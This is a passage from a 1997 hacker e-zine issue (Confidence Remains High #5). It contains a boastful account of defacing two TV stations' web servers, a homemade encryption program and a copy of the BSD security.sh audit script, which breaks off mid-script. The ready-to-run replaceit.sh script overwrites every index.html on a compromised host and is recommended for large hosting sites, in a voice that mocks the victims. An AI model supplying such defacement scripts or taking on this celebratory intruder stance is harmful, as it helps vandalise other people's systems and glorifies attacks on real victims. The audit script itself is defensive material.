home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / magazines / crh / crh005.txt < prev    next >
Encoding:
Text File  |  1998-06-25  |  86.1 KB  |  2,501 lines

  1. ───────────────────────────────────────────────────────────────────────────────
  2.                              .oO The CodeZero Oo.
  3.                              .oO   Presents   Oo.
  4. ───────────────────────────────────────────────────────────────────────────────
  5.  
  6.  Welcome to issue 5 of..
  7.  
  8.        /IIIIIIIIII          /IIIIIIIIII           /III   /III
  9.        \ III_____/          \ III___/III          \ III  \ III
  10.         \ III                \ III  \ III          \ III  \_III
  11.          \ III  onfidence     \ IIIIIIII  emains    \ IIIIIIIIII  igh
  12.           \ III                \ III__/III           \ III__/ III
  13.            \ III                \ III  \ III          \ III  \ III
  14.             \ IIIIIIIIII   ___   \ III  \ III   ___    \ III  \ III   ___
  15.              \_________/  /\__\   \__/   \__/  /\__\    \__/   \__/  /\__\
  16.                           \/__/                \/__/                 \/__/
  17.  
  18.                                                          ...23rd October 1997
  19. ───────────────────────────────────────────────────────────────────────────────
  20.  
  21.                   Team CodeZero, we rule your weak network.
  22.  
  23. ───────────────────────────────────────────────────────────────────────────────
  24.  
  25.                    .-----------[ An Official ]-----------.
  26.                    :      .-----.  .----.   .--.--.      :
  27.                    :      :  .--'  : .-. :  :  :  :      :
  28.                    !_-::  :  :     : `-' ;  :  .  :  ::-_!
  29.                    :~-::  :: :     :: . :   ::    :  ::-~:
  30.                    :      ::.`--.  ::.:  :  ::.:  :      :
  31.                    :      `-----'  `--'--'  `--'--'      :
  32.                    !_-::                             ::-_!
  33.                    :~-::-[ Confidence Remains High ]-::-~:
  34.                    :~-::                             ::-~:
  35.                    `-----------[ Production ]------------'
  36.  
  37. ───────────────────────────────────────────────────────────────────────────────
  38.   In This "2500 lined (count 'em -- so1o)" Issue :
  39. ───────────────────────────────────────────────────────────────────────────────
  40.  
  41.  -----=>  Section A  :  Introduction And Cover Story.
  42.  
  43.  1. Confidence Remains High issue 5....................: Tetsu Khan
  44.  2. 0wning TV stations is cool.........................: so1o
  45.  
  46.  -----=>  Section B  :  Exploits And Code.
  47.  
  48.  1. Gerbil.c...........................................: TFreak (mods by Shok)
  49.  2. Replaceit.sh.......................................: Shok / so1o
  50.  3. Security.sh........................................: Berkeley
  51.  4. Wozzeck.sh.........................................: Dave M.
  52.  5. Chattr tekneeq.....................................: xFli
  53.  
  54.  -----=>  Section C  :  Phones / Scanning / Radio.
  55.  
  56.  1. 617 dialups........................................: zer0x
  57.  2. FM radio bugs......................................: xFli
  58.  
  59.  -----=>  Section D  :  Miscellaneous.
  60.  
  61.  1. AT&T and Intel assembly syntax.....................: Shok
  62.  2. sIn inf0z..........................................: so1o
  63.  3. Wassup with NT?!...................................: Crystalize
  64.  4. More #hebrew.......................................: so1o
  65.  5. Linking to /dev/zero...............................: xFli
  66.  6. Creating a crypto-worm (philosophy)................: Shok
  67.  
  68.  -----=>  Section E  :  World News (nothings happened this month)
  69.  
  70.  ------=> Section F  :  Projects.
  71.  
  72.  1. TOTALCON '98...................................: so1o
  73.  2. Security / Monitoring tools....................: Shok
  74.  3. PornBot........................................: TFreak
  75.  
  76.  -----=> Section G  :  The End. (+ Personal Column)
  77.  
  78. ───────────────────────────────────────────────────────────────────────────────
  79. ===============================================================================
  80. ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
  81. ===============================================================================
  82. ───────────────────────────────────────────────────────────────────────────────
  83.   1. Confidence Remains High issue 5 : Tetsu Khan
  84. ───────────────────────────────────────────────────────────────────────────────
  85.  
  86. Yet another issue of Confidence Remains High! Only 15 more to go until the
  87. 1/1/00..In this crh005.zip we have included TFreak's pornbot, johan's awaited
  88. sirc4 code, and xFli's FM transmitter schematics, we all hope you enjoy reading
  89. this issue of Confidence Remains High, I definately think its our best issue
  90. yet..Distro sites are messed up, I'm gonna have to get our new permenant
  91. domain as soon as I can. Until issue 6, enjoy!
  92.  
  93. The distro list..
  94. =================
  95.  
  96.    www.technotronic.com                             /ezines/crh/
  97.    ftp.linuxwarez.com                               /pub/crh/
  98.  
  99. ───────────────────────────────────────────────────────────────────────────────
  100.   2. 0wning TV stations is cool : so1o
  101. ───────────────────────────────────────────────────────────────────────────────
  102.  
  103. As you may well know, we took control of 2 television stations web servers in
  104. the Fort ... area, some of my friends live in the immediate area, and the hack
  105. was on the morning news, it was cool, we were on TV!@#~
  106.  
  107. It is currently on videotape, we will be getting it into an .avi or .mpg asap,
  108. then you can phear our elite tv tekneeq, until then, here's an acsii
  109. representation of the sites exploited (also check out www.hacked.net) :
  110.  
  111. ------------------------------------------------------------------------------
  112.                      [ wE oWN yOUR aIRWAVES!!!@~#~!~@ ]
  113. ------------------------------------------------------------------------------
  114.  
  115.                  [ w3lc0m3 t0 th3 c0d3z3r0 ph34r n4t10n!@# ]
  116.  
  117. ------------------------------------------------------------------------------
  118.          You know the deal, we 0wn your sites, make you look stupid,
  119.         you try to catch us, but you don't know who, or where we are,
  120.      we are just ghosts, ghosts your machines, you should learn to phear.
  121. ------------------------------------------------------------------------------
  122.  
  123.                         And tonight on CodeZero tV...
  124.                         -----------------------------
  125.  
  126.                         An Introduction To RealDoll
  127.  
  128.                        Bill Gates Exclusive Interview
  129.  
  130.                       Why Not Websearch For "codezero" ?
  131.  
  132. ------------------------------------------------------------------------------
  133.  
  134.             0wned (0'wn3d) The act of showing how fucking dumb a
  135.                            sysadmin can be. See sekurity.
  136.    
  137. ───────────────────────────────────────────────────────────────────────────────
  138. ===============================================================================
  139. ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]==
  140. ===============================================================================
  141. ───────────────────────────────────────────────────────────────────────────────
  142.   1. Gerbil.c : TFreak (modified by Shok)
  143. ───────────────────────────────────────────────────────────────────────────────
  144.  
  145. /*
  146.  *  gerbil.c by TFreak [1.1 - 08/06/1997]
  147.  *  This is an encryption program....
  148.  *
  149.  *  Few modifications by Shok.....
  150.  *  Modified by Shok to allow you to output the encrypted file to a
  151.  *  different file other than the original (this original version by
  152.  *  TFreak overwrote the file)
  153.  *
  154.  */
  155.  
  156. #include <stdio.h>
  157. #include <sys/types.h>
  158. #include <sys/stat.h>
  159. #include <fcntl.h>
  160. #include <signal.h>
  161. #include <unistd.h>
  162. #include <termios.h>
  163.  
  164. #define BSIZE 1024
  165. #define ERROR -1
  166.  
  167. char *OutputFile;
  168. void getkey (char *);
  169. void setTerm (int); 
  170. void sighandler (void);
  171.  
  172. void main (int argc, char **argv)
  173. {
  174.     int fd, fd1, i, len, cycle = 0;
  175.     long filesize, oldoffset;
  176.     char key[BSIZE], plain, enc;
  177.         
  178.     if (argc < 3) {
  179.         fprintf(stderr, "usage: %s <input filename> <output filename>\n", argv[0]);
  180.         exit(ERROR);
  181.     } 
  182.     
  183.     OutputFile = argv[2];
  184.     /*  open our file, grab errors */
  185.     if ((fd = open(argv[1], O_RDONLY)) == ERROR) {
  186.         perror("opening input file for reading");
  187.         exit(ERROR);
  188.     }
  189.     
  190.     if ((fd1 = open(argv[2], O_CREAT|O_WRONLY, S_IREAD|S_IWRITE)) == ERROR) {
  191.        perror("opening output file for writing");
  192.        exit(ERROR);
  193.     }
  194.   
  195.     /* get our key that were going to be using */
  196.     setTerm(0);
  197.     getkey(&key[0]);
  198.     setTerm(1);
  199.     
  200.     putchar('\n');
  201.     printf("Encrypting %s to %s....\nPlease wait.\n", argv[1], argv[2]);
  202.  
  203.     /* ignore Ctrl-C after we got key */
  204.     signal(SIGINT, (void *)sighandler);
  205.     signal(SIGKILL, (void *)sighandler);
  206.  
  207.     /* get the size of the file we're working with */
  208.     if ((filesize = lseek(fd, 0L, SEEK_END)) == ERROR) {
  209.         perror("reading file");
  210.         close(fd);
  211.         exit(ERROR);
  212.     }
  213.     for (len = 0; len < strlen(key); len++) {
  214.         oldoffset = lseek(fd, 0L, SEEK_SET);
  215.         cycle = len;
  216.         for (i = 0; i < filesize; i++, cycle++) {
  217.             oldoffset = lseek(fd, 0, SEEK_CUR);
  218.             if (read(fd, &plain, 1) == ERROR) {
  219.                 perror("reading file");
  220.                 close(fd);
  221.                 exit(ERROR);
  222.             }
  223.             if (key[cycle] == '\0') cycle = 0;
  224.             enc = ~plain ^ key[cycle]; 
  225.             lseek(fd1, oldoffset,  SEEK_SET);
  226.             if (write(fd1, &enc, 1) == ERROR) {
  227.                 perror("writing to file");
  228.                 close(fd);
  229.                 exit(ERROR);
  230.             } 
  231.         }
  232.     } 
  233.     puts("");
  234. }
  235.  
  236. void getkey (char *ptrkey)
  237. {
  238.     char key2[BSIZE/2], salt[3]; 
  239.  
  240.     /* set a timer so we dont loop forever */
  241.     alarm(60);
  242.  
  243.     while (1) {
  244.         printf("Key: ");
  245.         fgets(ptrkey, BSIZE/2, stdin); 
  246.         if (ptrkey[0] == '\n') continue;
  247.         if (strlen(ptrkey) < 2) {
  248.             fprintf(stderr, "\nKey must be at least 2 characters\n");
  249.             continue;
  250.         }
  251.         printf("\nAgain: ");
  252.         fgets(key2, BSIZE/2, stdin);
  253.         if ((strcmp(ptrkey, key2)) == 0) break;
  254.         else fprintf(stderr, "\nKeys do not match\n"); 
  255.     }    
  256.     salt[0] = ptrkey[1]; salt[1] = ptrkey[0]; salt[2] = '\0';
  257.     strcat(ptrkey, crypt(salt, ptrkey));
  258.     salt[0] = ptrkey[0]; salt[1] = ptrkey[1]; salt[2] = '\0';
  259.     strcat(ptrkey, crypt(salt, ptrkey));
  260.     alarm(0);
  261. }
  262.  
  263. void setTerm (int mode)
  264. {
  265.     static struct termios old, new;
  266.  
  267.     if (mode == 0) {
  268.         tcgetattr(fileno(stdin), &old);
  269.         memcpy(&new, &old, sizeof(struct termios));
  270.         new.c_lflag &= ~(ICANON|ECHO);
  271.         tcsetattr(fileno(stdin), TCSANOW, &new);
  272.     } else tcsetattr(fileno(stdin), TCSANOW, &old); 
  273. }
  274.  
  275. void sighandler()
  276. {
  277. printf("\nReceive abort.......exiting now.\n");
  278. printf("Output file was NOT saved.\n");
  279. unlink(OutputFile);
  280. exit(1);
  281. }
  282.         
  283. ───────────────────────────────────────────────────────────────────────────────
  284.   2. Replaceit.sh : Shok / so1o
  285. ───────────────────────────────────────────────────────────────────────────────
  286.  
  287. Replaces ALL index.html files on the system with the one you specify as
  288. the second argument. Obviously this is useful on a large webhosting site
  289. ;)
  290.  
  291. #!/bin/sh
  292. # This isn't really a script but ya know that's life...
  293. # This was just made to make life a little easier -- 
  294. #
  295. # Use with -- sh replaceit.sh <thefile.html>
  296.  
  297. if [ $1 == "" ]
  298. then
  299. echo "Usage: replaceit.sh <file>"
  300. echo "This will replace every index.html on the system with <file>"
  301. else
  302. find / -name "index.html" -print -exec cp -f $1 {} \; 2>/dev/null &
  303. echo "Okay it's running in the background...enjoy :)"
  304. fi
  305.  
  306. ───────────────────────────────────────────────────────────────────────────────
  307.   3. Security.sh : Berkeley
  308. ───────────────────────────────────────────────────────────────────────────────
  309.  
  310. #!/bin/sh -
  311. #
  312. #       @(#)security    8.1 (Berkeley) 6/9/93
  313. #
  314.  
  315. PATH=/sbin:/usr/sbin:/bin:/usr/bin
  316.  
  317. umask 077
  318.  
  319. ERR=/tmp/_secure1.$$
  320. TMP1=/tmp/_secure2.$$
  321. TMP2=/tmp/_secure3.$$
  322. TMP3=/tmp/_secure4.$$
  323. LIST=/tmp/_secure5.$$
  324. OUTPUT=/tmp/_secure6.$$
  325.  
  326. trap 'rm -f $ERR $TMP1 $TMP2 $TMP3 $LIST $OUTPUT' 0
  327.  
  328. # Check the master password file syntax.
  329. MP=/etc/master.passwd
  330. awk -F: '{
  331.         if ($0 ~ /^[     ]*$/) {
  332.                 printf("Line %d is a blank line.\n", NR);
  333.                 next;
  334.         }
  335.         if (NF != 10)
  336.                 printf("Line %d has the wrong number of fields.\n", NR);
  337.         if ($1 !~ /^[A-Za-z0-9]*$/)
  338.                 printf("Login %s has non-alphanumeric characters.\n", $1);
  339.         if (length($1) > 16)
  340.                 printf("Login %s has more than 16 characters.\n", $1);
  341.         if ($2 == "")
  342.                 printf("Login %s has no password.\n", $1);
  343.         if (length($2) != 13 && length($2) != 20 && \
  344.             ($10 ~ /.*sh$/ || $10 == ""))
  345.                 printf("Login %s is off but still has a valid shell.\n", $1);
  346.         if ($3 == 0 && $1 != "root" && $1 != "toor")
  347.                 printf("Login %s has a user id of 0.\n", $1);
  348.         if ($3 < 0)
  349.                 printf("Login %s has a negative user id.\n", $1);
  350.         if ($4 < 0)
  351.                 printf("Login %s has a negative group id.\n", $1);
  352. }' < $MP > $OUTPUT
  353. if [ -s $OUTPUT ] ; then
  354.         printf "\nChecking the $MP file:\n"
  355.         cat $OUTPUT
  356. fi
  357.  
  358. awk -F: '{ print $1 }' $MP | sort | uniq -d > $OUTPUT
  359. if [ -s $OUTPUT ] ; then
  360.         printf "\n$MP has duplicate user names.\n"
  361.         column $OUTPUT
  362. fi
  363.  
  364. awk -F: '{ if ($1 != "toor") print $1 " " $3 }' $MP | sort -n +1 | tee $TMP1 |
  365. uniq -d -f 1 | awk '{ print $2 }' > $TMP2
  366. if [ -s $TMP2 ] ; then
  367.         printf "\n$MP has duplicate user id's.\n"
  368.         while read uid; do
  369.                 grep -w $uid $TMP1
  370.         done < $TMP2 | column
  371. fi
  372.  
  373. # Backup the master password file; a special case, the normal backup
  374. # mechanisms also print out file differences and we don't want to do
  375. # that because this file has encrypted passwords in it.
  376. CUR=/var/backups/`basename $MP`.current
  377. BACK=/var/backups/`basename $MP`.backup
  378. if [ -s $CUR ] ; then
  379.         if cmp -s $CUR $MP; then
  380.                 :
  381.         else
  382.                 cp -p $CUR $BACK
  383.                 cp -p $MP $CUR
  384.                 chown root.wheel $CUR
  385.         fi
  386. else
  387.         cp -p $MP $CUR
  388.         chown root.wheel $CUR
  389. fi
  390.  
  391. # Check the group file syntax.
  392. GRP=/etc/group
  393. awk -F: '{
  394.         if ($0 ~ /^[     ]*$/) {
  395.                 printf("Line %d is a blank line.\n", NR);
  396.                 next;
  397.         }
  398.         if (NF != 4)
  399.                 printf("Line %d has the wrong number of fields.\n", NR);
  400.         if ($1 !~ /^[A-za-z0-9]*$/)
  401.                 printf("Group %s has non-alphanumeric characters.\n", $1);
  402.         if (length($1) > 8)
  403.                 printf("Group %s has more than 8 characters.\n", $1);
  404.         if ($3 !~ /[0-9]*/)
  405.                 printf("Login %s has a negative group id.\n", $1);
  406. }' < $GRP > $OUTPUT
  407. if [ -s $OUTPUT ] ; then
  408.         printf "\nChecking the $GRP file:\n"
  409.         cat $OUTPUT
  410. fi
  411.  
  412. awk -F: '{ print $1 }' $GRP | sort | uniq -d > $OUTPUT
  413. if [ -s $OUTPUT ] ; then
  414.         printf "\n$GRP has duplicate group names.\n"
  415.         column $OUTPUT
  416. fi
  417.  
  418. # Check for root paths, umask values in startup files.
  419. # The check for the root paths is problematical -- it's likely to fail
  420. # in other environments.  Once the shells have been modified to warn
  421. # of '.' in the path, the path tests should go away.
  422. > $TMP1
  423. > $OUTPUT
  424. rhome=/root
  425. umaskset=no
  426. list="/etc/csh.cshrc /etc/csh.login ${rhome}/.cshrc ${rhome}/.login"
  427. for i in $list ; do
  428.         if [ -f $i ] ; then
  429.                 if egrep umask $i > /dev/null ; then
  430.                         umaskset=yes
  431.                 fi
  432.                 egrep umask $i |
  433.                 awk '$2 % 100 < 20 \
  434.                         { print "Root umask is group writeable" }
  435.                      $2 % 10 < 2 \
  436.                         { print "Root umask is other writeable" }' >> $OUTPUT
  437.                 /bin/csh -f -s << end-of-csh > /dev/null 2>&1
  438.                         unset path
  439.                         source $i
  440.                         /bin/ls -ldgT \$path > $TMP1
  441. end-of-csh
  442.                 awk '{
  443.                         if ($10 ~ /^\.$/) {
  444.                                 print "The root path includes .";
  445.                                 next;
  446.                         }
  447.                      }
  448.                      $1 ~ /^d....w/ \
  449.         { print "Root path directory " $10 " is group writeable." } \
  450.                      $1 ~ /^d.......w/ \
  451.         { print "Root path directory " $10 " is other writeable." }' \
  452.                 < $TMP1 >> $OUTPUT
  453.         fi
  454. done
  455. if [ $umaskset = "no" -o -s $OUTPUT ] ; then
  456.         printf "\nChecking root csh paths, umask values:\n$list\n"
  457.         if [ -s $OUTPUT ]; then
  458.                 cat $OUTPUT
  459.         fi
  460.         if [ $umaskset = "no" ] ; then
  461.                 printf "\nRoot csh startup files do not set the umask.\n"
  462.         fi
  463. fi
  464.  
  465. > $OUTPUT
  466. rhome=/root
  467. umaskset=no
  468. list="${rhome}/.profile"
  469. for i in $list; do
  470.         if [ -f $i ] ; then
  471.                 if egrep umask $i > /dev/null ; then
  472.                         umaskset=yes
  473.                 fi
  474.                 egrep umask $i |
  475.                 awk '$2 % 100 < 20 \
  476.                         { print "Root umask is group writeable" } \
  477.                      $2 % 10 < 2 \
  478.                         { print "Root umask is other writeable" }' >> $OUTPUT
  479.                 /bin/sh << end-of-sh > /dev/null 2>&1
  480.                         PATH=
  481.                         . $i
  482.                         list=\`echo \$PATH | /usr/bin/sed -e 's/:/ /g'\`
  483.                         /bin/ls -ldgT \$list > $TMP1
  484. end-of-sh
  485.                 awk '{
  486.                         if ($10 ~ /^\.$/) {
  487.                                 print "The root path includes .";
  488.                                 next;
  489.                         }
  490.                      }
  491.                      $1 ~ /^d....w/ \
  492.         { print "Root path directory " $10 " is group writeable." } \
  493.                      $1 ~ /^d.......w/ \
  494.         { print "Root path directory " $10 " is other writeable." }' \
  495.                 < $TMP1 >> $OUTPUT
  496.  
  497.         fi
  498. done
  499. if [ $umaskset = "no" -o -s $OUTPUT ] ; then
  500.         printf "\nChecking root sh paths, umask values:\n$list\n"
  501.         if [ -s $OUTPUT ]; then
  502.                 cat $OUTPUT
  503.         fi
  504.         if [ $umaskset = "no" ] ; then
  505.                 printf "\nRoot sh startup files do not set the umask.\n"
  506.         fi
  507. fi
  508.  
  509. # Root and uucp should both be in /etc/ftpusers.
  510. if egrep root /etc/ftpusers > /dev/null ; then
  511.         :
  512. else
  513.         printf "\nRoot not listed in /etc/ftpusers file.\n"
  514. fi
  515. if egrep uucp /etc/ftpusers > /dev/null ; then
  516.         :
  517. else
  518.         printf "\nUucp not listed in /etc/ftpusers file.\n"
  519. fi
  520.  
  521. # Uudecode should not be in the /etc/aliases file.
  522. if egrep 'uudecode:.*\||decode:.*\|' /etc/aliases; then
  523.         printf "\nProgram entry for uudecode exists in the /etc/aliases file.\n"
  524. fi
  525.  
  526. # Files that should not have + signs.
  527. list="/etc/hosts.equiv /etc/hosts.lpd"
  528. for f in $list ; do
  529.         if egrep '\+' $f > /dev/null ; then
  530.                 printf "\nPlus sign in $f file.\n"
  531.         fi
  532. done
  533.  
  534. # Check for special users with .rhosts files.  Only root and toor should
  535. # have a .rhosts files.  Also, .rhosts files should not have plus signs.
  536. awk -F: '$1 != "root" && $1 != "toor" && \
  537.         ($3 < 100 || $1 == "ftp" || $1 == "uucp") \
  538.                 { print $1 " " $6 }' /etc/passwd |
  539. while read uid homedir; do
  540.         if [ -f ${homedir}/.rhosts ] ; then
  541.                 rhost=`ls -ldgT ${homedir}/.rhosts`
  542.                 printf "$uid: $rhost\n"
  543.         fi
  544. done > $OUTPUT
  545. if [ -s $OUTPUT ] ; then
  546.         printf "\nChecking for special users with .rhosts files:\n"
  547.         cat $OUTPUT
  548. fi
  549.  
  550. awk -F: '{ print $1 " " $6 }' /etc/passwd | \
  551. while read uid homedir; do
  552.         if [ -f ${homedir}/.rhosts ] && \
  553.             egrep '\+' ${homedir}/.rhosts > /dev/null 2>&1; then
  554.                 printf "$uid: + in .rhosts file.\n"
  555.         fi
  556. done > $OUTPUT
  557. if [ -s $OUTPUT ] ; then
  558.         printf "\nChecking .rhosts files syntax:\n"
  559.         cat $OUTPUT
  560. fi
  561.  
  562. # Check home directories.  Directories should not be owned by someone else
  563. # or writeable.
  564. awk -F: '{ print $1 " " $6 }' /etc/passwd | \
  565. while read uid homedir; do
  566.         if [ -d ${homedir}/ ] ; then
  567.                 file=`ls -ldgT ${homedir}`
  568.                 printf "$uid $file\n"
  569.         fi
  570. done |
  571. awk '$1 != $4 && $4 != "root" \
  572.         { print "user " $1 " home directory is owned by " $4 }
  573.      $2 ~ /^-....w/ \
  574.         { print "user " $1 " home directory is group writeable" }
  575.      $2 ~ /^-.......w/ \
  576.         { print "user " $1 " home directory is other writeable" }' > $OUTPUT
  577. if [ -s $OUTPUT ] ; then
  578.         printf "\nChecking home directories:\n"
  579.         cat $OUTPUT
  580. fi
  581.  
  582. # Files that should not be owned by someone else or readable.
  583. list=".netrc .rhosts"
  584. awk -F: '{ print $1 " " $6 }' /etc/passwd | \
  585. while read uid homedir; do
  586.         for f in $list ; do
  587.                 file=${homedir}/${f}
  588.                 if [ -f $file ] ; then
  589.                         printf "$uid $f `ls -ldgT $file`\n"
  590.                 fi
  591.         done
  592. done |
  593. awk '$1 != $5 && $5 != "root" \
  594.         { print "user " $1 " " $2 " file is owned by " $5 }
  595.      $3 ~ /^-...r/ \
  596.         { print "user " $1 " " $2 " file is group readable" }
  597.      $3 ~ /^-......r/ \
  598.         { print "user " $1 " " $2 " file is other readable" }
  599.      $3 ~ /^-....w/ \
  600.         { print "user " $1 " " $2 " file is group writeable" }
  601.      $3 ~ /^-.......w/ \
  602.         { print "user " $1 " " $2 " file is other writeable" }' > $OUTPUT
  603.  
  604. # Files that should not be owned by someone else or writeable.
  605. list=".bashrc .cshrc .emacs .emacsrc .exrc .forward .klogin .login \
  606.       .logout .profile .tcshrc"
  607. awk -F: '{ print $1 " " $6 }' /etc/passwd | \
  608. while read uid homedir; do
  609.         for f in $list ; do
  610.                 file=${homedir}/${f}
  611.                 if [ -f $file ] ; then
  612.                         printf "$uid $f `ls -ldgT $file`\n"
  613.                 fi
  614.         done
  615. done |
  616. awk '$1 != $5 && $5 != "root" \
  617.         { print "user " $1 " " $2 " file is owned by " $5 }
  618.      $3 ~ /^-....w/ \
  619.         { print "user " $1 " " $2 " file is group writeable" }
  620.      $3 ~ /^-.......w/ \
  621.         { print "user " $1 " " $2 " file is other writeable" }' >> $OUTPUT
  622. if [ -s $OUTPUT ] ; then
  623.         printf "\nChecking dot files:\n"
  624.         cat $OUTPUT
  625. fi
  626.  
  627. # Mailboxes should be owned by user and unreadable.
  628. ls -l /var/mail | sed 1d | \
  629. awk '$3 != $9 && $9 != "."$3".pop"\
  630.         { print "user " $9 " mailbox is owned by " $3 }
  631.      $1 != "-rw-------" \
  632.         { print "user " $9 " mailbox is " $1 ", group " $4 }' > $OUTPUT
  633. if [ -s $OUTPUT ] ; then
  634.         printf "\nChecking mailbox ownership:\n"
  635.         cat $OUTPUT
  636. fi
  637.  
  638. # File systems should not be globally exported.
  639. if [ -s /etc/exports ] ; then
  640.         awk '{
  641.                 readonly = 0;
  642.                 for (i = 2; i <= NF; ++i) {
  643.                         if ($i ~ /-ro/)
  644.                                 readonly = 1;
  645.                         else if ($i !~ /^-/)
  646.                                 next;
  647.                 }
  648.                 if (readonly)
  649.                         print "File system " $1 " globally exported, read-only."
  650.                 else
  651.                         print "File system " $1 " globally exported, read-write."
  652.         }' < /etc/exports > $OUTPUT
  653.         if [ -s $OUTPUT ] ; then
  654.                 printf "\nChecking for globally exported file systems:\n"
  655.                 cat $OUTPUT
  656.         fi
  657. fi
  658.  
  659. # Display any changes in setuid files and devices.
  660. printf "\nChecking setuid files and devices:\n"
  661. (find / ! -fstype local -a -prune -o \
  662.     \( -perm -u+s -o -perm -g+s -o ! -type d -a ! -type f -a ! -type l -a \
  663.        ! -type s \) | \
  664. sort | sed -e 's/^/ls -ldgT /' | sh > $LIST) 2> $OUTPUT
  665.  
  666. # Display any errors that occurred during system file walk.
  667. if [ -s $OUTPUT ] ; then
  668.         printf "Setuid/device find errors:\n"
  669.         cat $OUTPUT
  670.         printf "\n"
  671. fi
  672.  
  673. # Display any changes in the setuid file list.
  674. egrep -v '^[bc]' $LIST > $TMP1
  675. if [ -s $TMP1 ] ; then
  676.         # Check to make sure uudecode isn't setuid.
  677.         if grep -w uudecode $TMP1 > /dev/null ; then
  678.                 printf "\nUudecode is setuid.\n"
  679.         fi
  680.  
  681.         CUR=/var/backups/setuid.current
  682.         BACK=/var/backups/setuid.backup
  683.  
  684.         if [ -s $CUR ] ; then
  685.                 if cmp -s $CUR $TMP1 ; then
  686.                         :
  687.                 else
  688.                         > $TMP2
  689.                         join -110 -210 -v2 $CUR $TMP1 > $OUTPUT
  690.                         if [ -s $OUTPUT ] ; then
  691.                                 printf "Setuid additions:\n"
  692.                                 tee -a $TMP2 < $OUTPUT
  693.                                 printf "\n"
  694.                         fi
  695.  
  696.                         join -110 -210 -v1 $CUR $TMP1 > $OUTPUT
  697.                         if [ -s $OUTPUT ] ; then
  698.                                 printf "Setuid deletions:\n"
  699.                                 tee -a $TMP2 < $OUTPUT
  700.                                 printf "\n"
  701.                         fi
  702.  
  703.                         sort +9 $TMP2 $CUR $TMP1 | \
  704.                             sed -e 's/[  ][      ]*/ /g' | uniq -u > $OUTPUT
  705.                         if [ -s $OUTPUT ] ; then
  706.                                 printf "Setuid changes:\n"
  707.                                 column -t $OUTPUT
  708.                                 printf "\n"
  709.                         fi
  710.  
  711.                         cp $CUR $BACK
  712.                         cp $TMP1 $CUR
  713.                 fi
  714.         else
  715.                 printf "Setuid additions:\n"
  716.                 column -t $TMP1
  717.                 printf "\n"
  718.                 cp $TMP1 $CUR
  719.         fi
  720. fi
  721.  
  722. # Check for block and character disk devices that are readable or writeable
  723. # or not owned by root.operator.
  724. >$TMP1
  725. DISKLIST="dk hd hk hp jb kra ra rb rd rl rx rz sd up wd"
  726. for i in $DISKLIST; do
  727.         egrep "^b.*/${i}[0-9][0-9]*[a-h]$"  $LIST >> $TMP1
  728.         egrep "^c.*/r${i}[0-9][0-9]*[a-h]$"  $LIST >> $TMP1
  729. done
  730.  
  731. awk '$3 != "root" || $4 != "operator" || $1 !~ /.rw-r-----/ \
  732.         { printf("Disk %s is user %s, group %s, permissions %s.\n", \
  733.             $10, $3, $4, $1); }' < $TMP1 > $OUTPUT
  734. if [ -s $OUTPUT ] ; then
  735.         printf "\nChecking disk ownership and permissions:\n"
  736.         cat $OUTPUT
  737.         printf "\n"
  738. fi
  739.  
  740. # Display any changes in the device file list.
  741. egrep '^[bc]' $LIST | sort +9 > $TMP1
  742. if [ -s $TMP1 ] ; then
  743.         CUR=/var/backups/device.current
  744.         BACK=/var/backups/device.backup
  745.  
  746.         if [ -s $CUR ] ; then
  747.                 if cmp -s $CUR $TMP1 ; then
  748.                         :
  749.                 else
  750.                         > $TMP2
  751.                         join -110 -210 -v2 $CUR $TMP1 > $OUTPUT
  752.                         if [ -s $OUTPUT ] ; then
  753.                                 printf "Device additions:\n"
  754.                                 tee -a $TMP2 < $OUTPUT
  755.                                 printf "\n"
  756.                         fi
  757.  
  758.                         join -110 -210 -v1 $CUR $TMP1 > $OUTPUT
  759.                         if [ -s $OUTPUT ] ; then
  760.                                 printf "Device deletions:\n"
  761.                                 tee -a $TMP2 < $OUTPUT
  762.                                 printf "\n"
  763.                         fi
  764.  
  765.                         # Report any block device change.  Ignore character
  766.                         # devices, only the name is significant.
  767.                         cat $TMP2 $CUR $TMP1 | \
  768.                         sed -e '/^c/d' | \
  769.                         sort +9 | \
  770.                         sed -e 's/[      ][      ]*/ /g' | \
  771.                         uniq -u > $OUTPUT
  772.                         if [ -s $OUTPUT ] ; then
  773.                                 printf "Block device changes:\n"
  774.                                 column -t $OUTPUT
  775.                                 printf "\n"
  776.                         fi
  777.  
  778.                         cp $CUR $BACK
  779.                         cp $TMP1 $CUR
  780.                 fi
  781.         else
  782.                 printf "Device additions:\n"
  783.                 column -t $TMP1
  784.                 printf "\n"
  785.                 cp $TMP1 $CUR
  786.         fi
  787. fi
  788.  
  789. # Check special files.
  790. # Check system binaries.
  791. #
  792. # Create the mtree tree specifications using:
  793. #
  794. #       mtree -cx -pDIR -kcksum,gid,mode,nlink,size,link,time,uid > DIR.secure
  795. #       chown root.wheel DIR.SECURE
  796. #       chmod 600 DIR.SECURE
  797. #
  798. # Note, this is not complete protection against Trojan horsed binaries, as
  799. # the hacker can modify the tree specification to match the replaced binary.
  800. # For details on really protecting yourself against modified binaries, see
  801. # the mtree(8) manual page.
  802. if cd /etc/mtree; then
  803.         mtree -e -p / -f /etc/mtree/special > $OUTPUT
  804.         if [ -s $OUTPUT ] ; then
  805.                 printf "\nChecking special files and directories:\n"
  806.                 cat $OUTPUT
  807.         fi
  808.  
  809.         > $OUTPUT
  810.         for file in *.secure; do
  811.                 tree=`sed -n -e '3s/.* //p' -e 3q $file 2>/dev/null`
  812.                 mtree -f $file -p $tree > $TMP1 2>/dev/null
  813.                 if [ -s $TMP1 ]; then
  814.                         printf "\nChecking $tree:\n" >> $OUTPUT
  815.                         cat $TMP1 >> $OUTPUT
  816.                 fi
  817.         done
  818.         if [ -s $OUTPUT ] ; then
  819.                 printf "\nChecking system binaries:\n"
  820.                 cat $OUTPUT
  821.         fi
  822. fi
  823.  
  824. # List of files that get backed up and checked for any modifications.  Each
  825. # file is expected to have two backups, /var/backups/file.{current,backup}.
  826. # Any changes cause the files to rotate.
  827. if [ -s /etc/changelist ] ; then
  828.         for file in `cat /etc/changelist`; do
  829.                 CUR=/var/backups/`basename $file`.current
  830.                 BACK=/var/backups/`basename $file`.backup
  831.                 if [ -s $file ]; then
  832.                         if [ -s $CUR ] ; then
  833.                                 diff $CUR $file > $OUTPUT
  834.                                 if [ -s $OUTPUT ] ; then
  835.                 printf "\n======\n%s diffs (OLD < > NEW)\n======\n" $file
  836.                                         cat $OUTPUT
  837.                                         cp -p $CUR $BACK
  838.                                         cp -p $file $CUR
